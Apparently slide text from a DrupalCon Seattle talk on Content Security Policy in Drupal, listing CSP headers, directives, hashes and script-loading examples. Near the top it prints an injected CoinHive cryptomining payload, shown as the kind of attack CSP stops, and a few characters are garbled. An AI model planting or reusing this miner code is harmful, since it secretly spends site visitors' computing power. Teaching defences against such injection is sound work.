Is your site really safe from XSS?
Bringing Content Security Policy to Drupal
Drupalcon Seattle
<script src="https://cdn.example.com/script.js" async></script>
/* [Warning] Do not copy or self host this file, you will not be supported */
window["document"]["write"]("<script type='text/javascript' src='https://coinhive.com/lib/coinhive.min.js?rnd="+window["Math"]["random"]()+"'></script>");window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq\', cpuConfig);miner.start();</script>');
2 | |||||
---|---|---|---|---|---|
3 |
Content-Security-Policy: default-src 'none';
Content-Security-Policy: default-src 'self';
Content-Security-Policy: default-src 'self'; style-src 'self' https://fonts.googleapis.com
Content-Security-Policy:
default-src 'self';
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com
Content-Security-Policy:
default-src https: 'unsafe-inline';
report-uri https://example.test/report-uri/csp
Content-Security-Policy-Report-Only:
default-src: 'self';
report-uri https://example.test/report-uri/csp-ro
default-src
script-src
script-src-attr
â‘¢script-src-elem
â‘¢style-src
style-src-attr
â‘¢style-src-elem
â‘¢font-src
img-src
media-src
connect-src
frame-ancestors
Content-Security-Policy:
script-src 'self' 'unsafe-inline' cdn.example.com
script-src-elem 'self' cdn.example.com
script-src-attr 'unsafe-inline'
<script>
(function(i,s,o,g,r,a,m){
i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://cdn.example.com/script.js','api');
api('call');
</script>
<script src="https://cdn.example.com/script.js" async></script>
<script src="/api-call.js"></script>
window.api=window.api||function(){(api.q=api.q||[]).push(arguments)};
(function (drupalSettings) {
api(drupalSettings.api.data);
})(drupalSettings);
Content-Security-Policy: script-src 'self' 'sha256-blLDIhKaPEZDhc4WD45BC7pZxW4WBRp7E5Ne1wC/vdw='